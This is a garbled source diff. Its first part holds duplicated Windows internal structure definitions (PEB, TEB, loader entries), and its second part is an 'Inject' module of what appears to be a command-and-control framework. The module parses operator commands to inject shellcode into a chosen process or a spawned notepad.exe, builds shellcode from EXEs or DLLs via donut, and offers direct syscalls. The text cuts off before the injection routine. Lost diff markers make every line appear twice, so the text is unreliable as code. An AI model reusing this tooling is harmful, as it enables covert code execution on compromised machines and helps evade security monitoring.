typedef struct _LDR_MODULE {
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID BaseAddress;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STRING FullDllName;
|
||||
UNICODE_STRING BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID BaseAddress;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STRING FullDllName;
|
||||
UNICODE_STRING BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_MODULE, * PLDR_MODULE;
|
||||
|
||||
typedef struct _PEB_LDR_DATA {
|
||||
ULONG Length;
|
||||
ULONG Initialized;
|
||||
PVOID SsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
ULONG Length;
|
||||
ULONG Initialized;
|
||||
PVOID SsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
typedef struct _PEB {
|
||||
BOOLEAN InheritedAddressSpace;
|
||||
BOOLEAN ReadImageFileExecOptions;
|
||||
BOOLEAN BeingDebugged;
|
||||
BOOLEAN Spare;
|
||||
HANDLE Mutant;
|
||||
PVOID ImageBase;
|
||||
PPEB_LDR_DATA LoaderData;
|
||||
PVOID ProcessParameters;
|
||||
PVOID SubSystemData;
|
||||
PVOID ProcessHeap;
|
||||
PVOID FastPebLock;
|
||||
PVOID FastPebLockRoutine;
|
||||
PVOID FastPebUnlockRoutine;
|
||||
ULONG EnvironmentUpdateCount;
|
||||
PVOID* KernelCallbackTable;
|
||||
PVOID EventLogSection;
|
||||
PVOID EventLog;
|
||||
PVOID FreeList;
|
||||
ULONG TlsExpansionCounter;
|
||||
PVOID TlsBitmap;
|
||||
ULONG TlsBitmapBits[0x2];
|
||||
PVOID ReadOnlySharedMemoryBase;
|
||||
PVOID ReadOnlySharedMemoryHeap;
|
||||
PVOID* ReadOnlyStaticServerData;
|
||||
PVOID AnsiCodePageData;
|
||||
PVOID OemCodePageData;
|
||||
PVOID UnicodeCaseTableData;
|
||||
ULONG NumberOfProcessors;
|
||||
ULONG NtGlobalFlag;
|
||||
BYTE Spare2[0x4];
|
||||
LARGE_INTEGER CriticalSectionTimeout;
|
||||
ULONG HeapSegmentReserve;
|
||||
ULONG HeapSegmentCommit;
|
||||
ULONG HeapDeCommitTotalFreeThreshold;
|
||||
ULONG HeapDeCommitFreeBlockThreshold;
|
||||
ULONG NumberOfHeaps;
|
||||
ULONG MaximumNumberOfHeaps;
|
||||
PVOID** ProcessHeaps;
|
||||
PVOID GdiSharedHandleTable;
|
||||
PVOID ProcessStarterHelper;
|
||||
PVOID GdiDCAttributeList;
|
||||
PVOID LoaderLock;
|
||||
ULONG OSMajorVersion;
|
||||
ULONG OSMinorVersion;
|
||||
ULONG OSBuildNumber;
|
||||
ULONG OSPlatformId;
|
||||
ULONG ImageSubSystem;
|
||||
ULONG ImageSubSystemMajorVersion;
|
||||
ULONG ImageSubSystemMinorVersion;
|
||||
ULONG GdiHandleBuffer[0x22];
|
||||
ULONG PostProcessInitRoutine;
|
||||
ULONG TlsExpansionBitmap;
|
||||
BYTE TlsExpansionBitmapBits[0x80];
|
||||
ULONG SessionId;
|
||||
BOOLEAN InheritedAddressSpace;
|
||||
BOOLEAN ReadImageFileExecOptions;
|
||||
BOOLEAN BeingDebugged;
|
||||
BOOLEAN Spare;
|
||||
HANDLE Mutant;
|
||||
PVOID ImageBase;
|
||||
PPEB_LDR_DATA LoaderData;
|
||||
PVOID ProcessParameters;
|
||||
PVOID SubSystemData;
|
||||
PVOID ProcessHeap;
|
||||
PVOID FastPebLock;
|
||||
PVOID FastPebLockRoutine;
|
||||
PVOID FastPebUnlockRoutine;
|
||||
ULONG EnvironmentUpdateCount;
|
||||
PVOID* KernelCallbackTable;
|
||||
PVOID EventLogSection;
|
||||
PVOID EventLog;
|
||||
PVOID FreeList;
|
||||
ULONG TlsExpansionCounter;
|
||||
PVOID TlsBitmap;
|
||||
ULONG TlsBitmapBits[0x2];
|
||||
PVOID ReadOnlySharedMemoryBase;
|
||||
PVOID ReadOnlySharedMemoryHeap;
|
||||
PVOID* ReadOnlyStaticServerData;
|
||||
PVOID AnsiCodePageData;
|
||||
PVOID OemCodePageData;
|
||||
PVOID UnicodeCaseTableData;
|
||||
ULONG NumberOfProcessors;
|
||||
ULONG NtGlobalFlag;
|
||||
BYTE Spare2[0x4];
|
||||
LARGE_INTEGER CriticalSectionTimeout;
|
||||
ULONG HeapSegmentReserve;
|
||||
ULONG HeapSegmentCommit;
|
||||
ULONG HeapDeCommitTotalFreeThreshold;
|
||||
ULONG HeapDeCommitFreeBlockThreshold;
|
||||
ULONG NumberOfHeaps;
|
||||
ULONG MaximumNumberOfHeaps;
|
||||
PVOID** ProcessHeaps;
|
||||
PVOID GdiSharedHandleTable;
|
||||
PVOID ProcessStarterHelper;
|
||||
PVOID GdiDCAttributeList;
|
||||
PVOID LoaderLock;
|
||||
ULONG OSMajorVersion;
|
||||
ULONG OSMinorVersion;
|
||||
ULONG OSBuildNumber;
|
||||
ULONG OSPlatformId;
|
||||
ULONG ImageSubSystem;
|
||||
ULONG ImageSubSystemMajorVersion;
|
||||
ULONG ImageSubSystemMinorVersion;
|
||||
ULONG GdiHandleBuffer[0x22];
|
||||
ULONG PostProcessInitRoutine;
|
||||
ULONG TlsExpansionBitmap;
|
||||
BYTE TlsExpansionBitmapBits[0x80];
|
||||
ULONG SessionId;
|
||||
} PEB, * PPEB;
|
||||
|
||||
typedef struct __CLIENT_ID {
|
||||
HANDLE UniqueProcess;
|
||||
HANDLE UniqueThread;
|
||||
HANDLE UniqueProcess;
|
||||
HANDLE UniqueThread;
|
||||
} CLIENT_ID, * PCLIENT_ID;
|
||||
|
||||
typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
|
||||
ULONG Flags;
|
||||
PCHAR FrameName;
|
||||
ULONG Flags;
|
||||
PCHAR FrameName;
|
||||
} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT;
|
||||
|
||||
typedef struct _TEB_ACTIVE_FRAME {
|
||||
ULONG Flags;
|
||||
struct _TEB_ACTIVE_FRAME* Previous;
|
||||
PTEB_ACTIVE_FRAME_CONTEXT Context;
|
||||
ULONG Flags;
|
||||
struct _TEB_ACTIVE_FRAME* Previous;
|
||||
PTEB_ACTIVE_FRAME_CONTEXT Context;
|
||||
} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME;
|
||||
|
||||
typedef struct _GDI_TEB_BATCH {
|
||||
ULONG Offset;
|
||||
ULONG HDC;
|
||||
ULONG Buffer[310];
|
||||
ULONG Offset;
|
||||
ULONG HDC;
|
||||
ULONG Buffer[310];
|
||||
} GDI_TEB_BATCH, * PGDI_TEB_BATCH;
|
||||
|
||||
typedef PVOID PACTIVATION_CONTEXT;
|
||||
|
||||
typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {
|
||||
struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous;
|
||||
PACTIVATION_CONTEXT ActivationContext;
|
||||
ULONG Flags;
|
||||
struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous;
|
||||
PACTIVATION_CONTEXT ActivationContext;
|
||||
ULONG Flags;
|
||||
} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME;
|
||||
|
||||
typedef struct _ACTIVATION_CONTEXT_STACK {
|
||||
PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;
|
||||
LIST_ENTRY FrameListCache;
|
||||
ULONG Flags;
|
||||
ULONG NextCookieSequenceNumber;
|
||||
ULONG StackId;
|
||||
PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;
|
||||
LIST_ENTRY FrameListCache;
|
||||
ULONG Flags;
|
||||
ULONG NextCookieSequenceNumber;
|
||||
ULONG StackId;
|
||||
} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK;
|
||||
|
||||
typedef struct _TEB {
|
||||
NT_TIB NtTib;
|
||||
PVOID EnvironmentPointer;
|
||||
CLIENT_ID ClientId;
|
||||
PVOID ActiveRpcHandle;
|
||||
PVOID ThreadLocalStoragePointer;
|
||||
PPEB ProcessEnvironmentBlock;
|
||||
ULONG LastErrorValue;
|
||||
ULONG CountOfOwnedCriticalSections;
|
||||
PVOID CsrClientThread;
|
||||
PVOID Win32ThreadInfo;
|
||||
ULONG User32Reserved[26];
|
||||
ULONG UserReserved[5];
|
||||
PVOID WOW32Reserved;
|
||||
LCID CurrentLocale;
|
||||
ULONG FpSoftwareStatusRegister;
|
||||
PVOID SystemReserved1[54];
|
||||
LONG ExceptionCode;
|
||||
NT_TIB NtTib;
|
||||
PVOID EnvironmentPointer;
|
||||
CLIENT_ID ClientId;
|
||||
PVOID ActiveRpcHandle;
|
||||
PVOID ThreadLocalStoragePointer;
|
||||
PPEB ProcessEnvironmentBlock;
|
||||
ULONG LastErrorValue;
|
||||
ULONG CountOfOwnedCriticalSections;
|
||||
PVOID CsrClientThread;
|
||||
PVOID Win32ThreadInfo;
|
||||
ULONG User32Reserved[26];
|
||||
ULONG UserReserved[5];
|
||||
PVOID WOW32Reserved;
|
||||
LCID CurrentLocale;
|
||||
ULONG FpSoftwareStatusRegister;
|
||||
PVOID SystemReserved1[54];
|
||||
LONG ExceptionCode;
|
||||
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
|
||||
PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;
|
||||
UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)];
|
||||
ULONG TxFsContext;
|
||||
PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;
|
||||
UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)];
|
||||
ULONG TxFsContext;
|
||||
#elif (NTDDI_VERSION >= NTDDI_WS03)
|
||||
PACTIVATION_CONTEXT_STACK ActivationContextStackPointer;
|
||||
UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)];
|
||||
PACTIVATION_CONTEXT_STACK ActivationContextStackPointer;
|
||||
UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)];
|
||||
#else
|
||||
ACTIVATION_CONTEXT_STACK ActivationContextStack;
|
||||
UCHAR SpareBytes1[24];
|
||||
ACTIVATION_CONTEXT_STACK ActivationContextStack;
|
||||
UCHAR SpareBytes1[24];
|
||||
#endif
|
||||
GDI_TEB_BATCH GdiTebBatch;
|
||||
CLIENT_ID RealClientId;
|
||||
PVOID GdiCachedProcessHandle;
|
||||
ULONG GdiClientPID;
|
||||
ULONG GdiClientTID;
|
||||
PVOID GdiThreadLocalInfo;
|
||||
PSIZE_T Win32ClientInfo[62];
|
||||
PVOID glDispatchTable[233];
|
||||
PSIZE_T glReserved1[29];
|
||||
PVOID glReserved2;
|
||||
PVOID glSectionInfo;
|
||||
PVOID glSection;
|
||||
PVOID glTable;
|
||||
PVOID glCurrentRC;
|
||||
PVOID glContext;
|
||||
NTSTATUS LastStatusValue;
|
||||
UNICODE_STRING StaticUnicodeString;
|
||||
WCHAR StaticUnicodeBuffer[261];
|
||||
PVOID DeallocationStack;
|
||||
PVOID TlsSlots[64];
|
||||
LIST_ENTRY TlsLinks;
|
||||
PVOID Vdm;
|
||||
PVOID ReservedForNtRpc;
|
||||
PVOID DbgSsReserved[2];
|
||||
GDI_TEB_BATCH GdiTebBatch;
|
||||
CLIENT_ID RealClientId;
|
||||
PVOID GdiCachedProcessHandle;
|
||||
ULONG GdiClientPID;
|
||||
ULONG GdiClientTID;
|
||||
PVOID GdiThreadLocalInfo;
|
||||
PSIZE_T Win32ClientInfo[62];
|
||||
PVOID glDispatchTable[233];
|
||||
PSIZE_T glReserved1[29];
|
||||
PVOID glReserved2;
|
||||
PVOID glSectionInfo;
|
||||
PVOID glSection;
|
||||
PVOID glTable;
|
||||
PVOID glCurrentRC;
|
||||
PVOID glContext;
|
||||
NTSTATUS LastStatusValue;
|
||||
UNICODE_STRING StaticUnicodeString;
|
||||
WCHAR StaticUnicodeBuffer[261];
|
||||
PVOID DeallocationStack;
|
||||
PVOID TlsSlots[64];
|
||||
LIST_ENTRY TlsLinks;
|
||||
PVOID Vdm;
|
||||
PVOID ReservedForNtRpc;
|
||||
PVOID DbgSsReserved[2];
|
||||
#if (NTDDI_VERSION >= NTDDI_WS03)
|
||||
ULONG HardErrorMode;
|
||||
ULONG HardErrorMode;
|
||||
#else
|
||||
ULONG HardErrorsAreDisabled;
|
||||
ULONG HardErrorsAreDisabled;
|
||||
#endif
|
||||
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
|
||||
PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)];
|
||||
GUID ActivityId;
|
||||
PVOID SubProcessTag;
|
||||
PVOID EtwLocalData;
|
||||
PVOID EtwTraceData;
|
||||
PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)];
|
||||
GUID ActivityId;
|
||||
PVOID SubProcessTag;
|
||||
PVOID EtwLocalData;
|
||||
PVOID EtwTraceData;
|
||||
#elif (NTDDI_VERSION >= NTDDI_WS03)
|
||||
PVOID Instrumentation[14];
|
||||
PVOID SubProcessTag;
|
||||
PVOID EtwLocalData;
|
||||
PVOID Instrumentation[14];
|
||||
PVOID SubProcessTag;
|
||||
PVOID EtwLocalData;
|
||||
#else
|
||||
PVOID Instrumentation[16];
|
||||
PVOID Instrumentation[16];
|
||||
#endif
|
||||
PVOID WinSockData;
|
||||
ULONG GdiBatchCount;
|
||||
PVOID WinSockData;
|
||||
ULONG GdiBatchCount;
|
||||
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
|
||||
BOOLEAN SpareBool0;
|
||||
BOOLEAN SpareBool1;
|
||||
BOOLEAN SpareBool2;
|
||||
BOOLEAN SpareBool0;
|
||||
BOOLEAN SpareBool1;
|
||||
BOOLEAN SpareBool2;
|
||||
#else
|
||||
BOOLEAN InDbgPrint;
|
||||
BOOLEAN FreeStackOnTermination;
|
||||
BOOLEAN HasFiberData;
|
||||
BOOLEAN InDbgPrint;
|
||||
BOOLEAN FreeStackOnTermination;
|
||||
BOOLEAN HasFiberData;
|
||||
#endif
|
||||
UCHAR IdealProcessor;
|
||||
UCHAR IdealProcessor;
|
||||
#if (NTDDI_VERSION >= NTDDI_WS03)
|
||||
ULONG GuaranteedStackBytes;
|
||||
ULONG GuaranteedStackBytes;
|
||||
#else
|
||||
ULONG Spare3;
|
||||
ULONG Spare3;
|
||||
#endif
|
||||
PVOID ReservedForPerf;
|
||||
PVOID ReservedForOle;
|
||||
ULONG WaitingOnLoaderLock;
|
||||
PVOID ReservedForPerf;
|
||||
PVOID ReservedForOle;
|
||||
ULONG WaitingOnLoaderLock;
|
||||
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
|
||||
PVOID SavedPriorityState;
|
||||
ULONG_PTR SoftPatchPtr1;
|
||||
ULONG_PTR ThreadPoolData;
|
||||
PVOID SavedPriorityState;
|
||||
ULONG_PTR SoftPatchPtr1;
|
||||
ULONG_PTR ThreadPoolData;
|
||||
#elif (NTDDI_VERSION >= NTDDI_WS03)
|
||||
ULONG_PTR SparePointer1;
|
||||
ULONG_PTR SoftPatchPtr1;
|
||||
ULONG_PTR SoftPatchPtr2;
|
||||
ULONG_PTR SparePointer1;
|
||||
ULONG_PTR SoftPatchPtr1;
|
||||
ULONG_PTR SoftPatchPtr2;
|
||||
#else
|
||||
Wx86ThreadState Wx86Thread;
|
||||
Wx86ThreadState Wx86Thread;
|
||||
#endif
|
||||
PVOID* TlsExpansionSlots;
|
||||
PVOID* TlsExpansionSlots;
|
||||
#if defined(_WIN64) && !defined(EXPLICIT_32BIT)
|
||||
PVOID DeallocationBStore;
|
||||
PVOID BStoreLimit;
|
||||
PVOID DeallocationBStore;
|
||||
PVOID BStoreLimit;
|
||||
#endif
|
||||
ULONG ImpersonationLocale;
|
||||
ULONG IsImpersonating;
|
||||
PVOID NlsCache;
|
||||
PVOID pShimData;
|
||||
ULONG HeapVirtualAffinity;
|
||||
HANDLE CurrentTransactionHandle;
|
||||
PTEB_ACTIVE_FRAME ActiveFrame;
|
||||
ULONG ImpersonationLocale;
|
||||
ULONG IsImpersonating;
|
||||
PVOID NlsCache;
|
||||
PVOID pShimData;
|
||||
ULONG HeapVirtualAffinity;
|
||||
HANDLE CurrentTransactionHandle;
|
||||
PTEB_ACTIVE_FRAME ActiveFrame;
|
||||
#if (NTDDI_VERSION >= NTDDI_WS03)
|
||||
PVOID FlsData;
|
||||
PVOID FlsData;
|
||||
#endif
|
||||
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
|
||||
PVOID PreferredLangauges;
|
||||
PVOID UserPrefLanguages;
|
||||
PVOID MergedPrefLanguages;
|
||||
ULONG MuiImpersonation;
|
||||
union
|
||||
{
|
||||
struct
|
||||
{
|
||||
USHORT SpareCrossTebFlags : 16;
|
||||
};
|
||||
USHORT CrossTebFlags;
|
||||
};
|
||||
union
|
||||
{
|
||||
struct
|
||||
{
|
||||
USHORT DbgSafeThunkCall : 1;
|
||||
USHORT DbgInDebugPrint : 1;
|
||||
USHORT DbgHasFiberData : 1;
|
||||
USHORT DbgSkipThreadAttach : 1;
|
||||
USHORT DbgWerInShipAssertCode : 1;
|
||||
USHORT DbgIssuedInitialBp : 1;
|
||||
USHORT DbgClonedThread : 1;
|
||||
USHORT SpareSameTebBits : 9;
|
||||
};
|
||||
USHORT SameTebFlags;
|
||||
};
|
||||
PVOID TxnScopeEntercallback;
|
||||
PVOID TxnScopeExitCAllback;
|
||||
PVOID TxnScopeContext;
|
||||
ULONG LockCount;
|
||||
ULONG ProcessRundown;
|
||||
ULONG64 LastSwitchTime;
|
||||
ULONG64 TotalSwitchOutTime;
|
||||
LARGE_INTEGER WaitReasonBitMap;
|
||||
PVOID PreferredLangauges;
|
||||
PVOID UserPrefLanguages;
|
||||
PVOID MergedPrefLanguages;
|
||||
ULONG MuiImpersonation;
|
||||
union
|
||||
{
|
||||
struct
|
||||
{
|
||||
USHORT SpareCrossTebFlags : 16;
|
||||
};
|
||||
USHORT CrossTebFlags;
|
||||
};
|
||||
union
|
||||
{
|
||||
struct
|
||||
{
|
||||
USHORT DbgSafeThunkCall : 1;
|
||||
USHORT DbgInDebugPrint : 1;
|
||||
USHORT DbgHasFiberData : 1;
|
||||
USHORT DbgSkipThreadAttach : 1;
|
||||
USHORT DbgWerInShipAssertCode : 1;
|
||||
USHORT DbgIssuedInitialBp : 1;
|
||||
USHORT DbgClonedThread : 1;
|
||||
USHORT SpareSameTebBits : 9;
|
||||
};
|
||||
USHORT SameTebFlags;
|
||||
};
|
||||
PVOID TxnScopeEntercallback;
|
||||
PVOID TxnScopeExitCAllback;
|
||||
PVOID TxnScopeContext;
|
||||
ULONG LockCount;
|
||||
ULONG ProcessRundown;
|
||||
ULONG64 LastSwitchTime;
|
||||
ULONG64 TotalSwitchOutTime;
|
||||
LARGE_INTEGER WaitReasonBitMap;
|
||||
#else
|
||||
BOOLEAN SafeThunkCall;
|
||||
BOOLEAN BooleanSpare[3];
|
||||
BOOLEAN SafeThunkCall;
|
||||
BOOLEAN BooleanSpare[3];
|
||||
#endif
|
||||
} TEB, * PTEB;
|
||||
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY {
|
||||
LIST_ENTRY InLoadOrderLinks;
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
LIST_ENTRY InInitializationOrderLinks;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STRING FullDllName;
|
||||
UNICODE_STRING BaseDllName;
|
||||
ULONG Flags;
|
||||
WORD LoadCount;
|
||||
WORD TlsIndex;
|
||||
union {
|
||||
LIST_ENTRY HashLinks;
|
||||
struct {
|
||||
PVOID SectionPointer;
|
||||
ULONG CheckSum;
|
||||
};
|
||||
};
|
||||
union {
|
||||
ULONG TimeDateStamp;
|
||||
PVOID LoadedImports;
|
||||
};
|
||||
PACTIVATION_CONTEXT EntryPointActivationContext;
|
||||
PVOID PatchInformation;
|
||||
LIST_ENTRY ForwarderLinks;
|
||||
LIST_ENTRY ServiceTagLinks;
|
||||
LIST_ENTRY StaticLinks;
|
||||
LIST_ENTRY InLoadOrderLinks;
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
LIST_ENTRY InInitializationOrderLinks;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STRING FullDllName;
|
||||
UNICODE_STRING BaseDllName;
|
||||
ULONG Flags;
|
||||
WORD LoadCount;
|
||||
WORD TlsIndex;
|
||||
union {
|
||||
LIST_ENTRY HashLinks;
|
||||
struct {
|
||||
PVOID SectionPointer;
|
||||
ULONG CheckSum;
|
||||
};
|
||||
};
|
||||
union {
|
||||
ULONG TimeDateStamp;
|
||||
PVOID LoadedImports;
|
||||
};
|
||||
PACTIVATION_CONTEXT EntryPointActivationContext;
|
||||
PVOID PatchInformation;
|
||||
LIST_ENTRY ForwarderLinks;
|
||||
LIST_ENTRY ServiceTagLinks;
|
||||
LIST_ENTRY StaticLinks;
|
||||
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
typedef struct _OBJECT_ATTRIBUTES {
|
||||
ULONG Length;
|
||||
PVOID RootDirectory;
|
||||
PUNICODE_STRING ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor;
|
||||
PVOID SecurityQualityOfService;
|
||||
ULONG Length;
|
||||
PVOID RootDirectory;
|
||||
PUNICODE_STRING ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor;
|
||||
PVOID SecurityQualityOfService;
|
||||
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
|
||||
|
||||
typedef struct _INITIAL_TEB {
|
||||
PVOID StackBase;
|
||||
PVOID StackLimit;
|
||||
PVOID StackCommit;
|
||||
PVOID StackCommitMax;
|
||||
PVOID StackReserved;
|
||||
PVOID StackBase;
|
||||
PVOID StackLimit;
|
||||
PVOID StackCommit;
|
||||
PVOID StackCommitMax;
|
||||
PVOID StackReserved;
|
||||
} INITIAL_TEB, * PINITIAL_TEB;
|
||||
+282
-282
@@ -35,13 +35,13 @@ __attribute__((visibility("default"))) Inject* InjectConstructor()
|
||||
|
||||
Inject::Inject()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
{
|
||||
m_processToSpawn = "notepad.exe";
|
||||
m_useSyscall = false;
|
||||
m_processToSpawn = "notepad.exe";
|
||||
m_useSyscall = false;
|
||||
}
|
||||
|
||||
Inject::~Inject()
|
||||
@@ -50,166 +50,166 @@ Inject::~Inject()
|
||||
|
||||
int Inject::initConfig(const nlohmann::json &config)
|
||||
{
|
||||
for (auto& it : config.items())
|
||||
{
|
||||
if(it.key()=="process")
|
||||
m_processToSpawn = it.value();
|
||||
else if(it.key()=="syscall")
|
||||
m_useSyscall = true;
|
||||
}
|
||||
for (auto& it : config.items())
|
||||
{
|
||||
if(it.key()=="process")
|
||||
m_processToSpawn = it.value();
|
||||
else if(it.key()=="syscall")
|
||||
m_useSyscall = true;
|
||||
}
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
std::string Inject::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "inject:\n";
|
||||
info += "Inject shellcode in the pid process. For linux must be root or at least have ptrace capability.\n";
|
||||
info += "No output is provided.\n";
|
||||
info += "Use -r to use a shellcode file.\n";
|
||||
info += "If -e or -d are given, use donut to create the shellcode.\n";
|
||||
info += "If pid is negative a new process is created for the injection.\n";
|
||||
info += "exemple:\n";
|
||||
info += "- inject -r ./calc.bin 2568\n";
|
||||
info += "- inject -e ./beacon.exe pid arg1 arg2\n";
|
||||
info += "- inject -d ./calc.dll pid method arg1 arg2\n";
|
||||
info += "inject:\n";
|
||||
info += "Inject shellcode in the pid process. For linux must be root or at least have ptrace capability.\n";
|
||||
info += "No output is provided.\n";
|
||||
info += "Use -r to use a shellcode file.\n";
|
||||
info += "If -e or -d are given, use donut to create the shellcode.\n";
|
||||
info += "If pid is negative a new process is created for the injection.\n";
|
||||
info += "exemple:\n";
|
||||
info += "- inject -r ./calc.bin 2568\n";
|
||||
info += "- inject -e ./beacon.exe pid arg1 arg2\n";
|
||||
info += "- inject -d ./calc.dll pid method arg1 arg2\n";
|
||||
#endif
|
||||
return info;
|
||||
return info;
|
||||
}
|
||||
|
||||
int Inject::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
{
|
||||
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
|
||||
if (splitedCmd.size() >= 4)
|
||||
{
|
||||
bool donut=false;
|
||||
std::string inputFile=splitedCmd[2];
|
||||
std::string method;
|
||||
std::string args;
|
||||
int pid=-1;
|
||||
if (splitedCmd.size() >= 4)
|
||||
{
|
||||
bool donut=false;
|
||||
std::string inputFile=splitedCmd[2];
|
||||
std::string method;
|
||||
std::string args;
|
||||
int pid=-1;
|
||||
|
||||
try
|
||||
try
|
||||
{
|
||||
pid = stoi(splitedCmd[3]);
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
std::string msg = "Pid must be an integer.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if(splitedCmd[1]=="-e")
|
||||
{
|
||||
donut=true;
|
||||
for (int idx = 4; idx < splitedCmd.size(); idx++)
|
||||
{
|
||||
if(!args.empty())
|
||||
args+=" ";
|
||||
args+=splitedCmd[idx];
|
||||
}
|
||||
}
|
||||
else if(splitedCmd[1]=="-d")
|
||||
{
|
||||
donut=true;
|
||||
if(splitedCmd.size() > 4)
|
||||
method=splitedCmd[4];
|
||||
else
|
||||
{
|
||||
std::string msg = "Method is mandatory for DLL.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
for (int idx = 5; idx < splitedCmd.size(); idx++)
|
||||
{
|
||||
if(!args.empty())
|
||||
args+=" ";
|
||||
args+=splitedCmd[idx];
|
||||
}
|
||||
}
|
||||
else if(splitedCmd[1]=="-r")
|
||||
{
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string msg = "One of the tags, -r, -e or -d must be provided.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
if(splitedCmd[1]=="-e")
|
||||
{
|
||||
donut=true;
|
||||
for (int idx = 4; idx < splitedCmd.size(); idx++)
|
||||
{
|
||||
if(!args.empty())
|
||||
args+=" ";
|
||||
args+=splitedCmd[idx];
|
||||
}
|
||||
}
|
||||
else if(splitedCmd[1]=="-d")
|
||||
{
|
||||
donut=true;
|
||||
if(splitedCmd.size() > 4)
|
||||
method=splitedCmd[4];
|
||||
else
|
||||
{
|
||||
std::string msg = "Method is mandatory for DLL.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
for (int idx = 5; idx < splitedCmd.size(); idx++)
|
||||
{
|
||||
if(!args.empty())
|
||||
args+=" ";
|
||||
args+=splitedCmd[idx];
|
||||
}
|
||||
}
|
||||
else if(splitedCmd[1]=="-r")
|
||||
{
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string msg = "One of the tags, -r, -e or -d must be provided.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if(inputFile.empty())
|
||||
{
|
||||
std::string msg = "A file name have to be provided.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
if(inputFile.empty())
|
||||
{
|
||||
std::string msg = "A file name have to be provided.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
|
||||
std::ifstream myfile;
|
||||
myfile.open(inputFile);
|
||||
std::ifstream myfile;
|
||||
myfile.open(inputFile);
|
||||
|
||||
if(!myfile)
|
||||
{
|
||||
std::string newInputFile=m_toolsDirectoryPath;
|
||||
newInputFile+=inputFile;
|
||||
myfile.open(newInputFile, std::ios::binary);
|
||||
inputFile=newInputFile;
|
||||
}
|
||||
if(!myfile)
|
||||
{
|
||||
std::string newInputFile=m_toolsDirectoryPath;
|
||||
newInputFile+=inputFile;
|
||||
myfile.open(newInputFile, std::ios::binary);
|
||||
inputFile=newInputFile;
|
||||
}
|
||||
|
||||
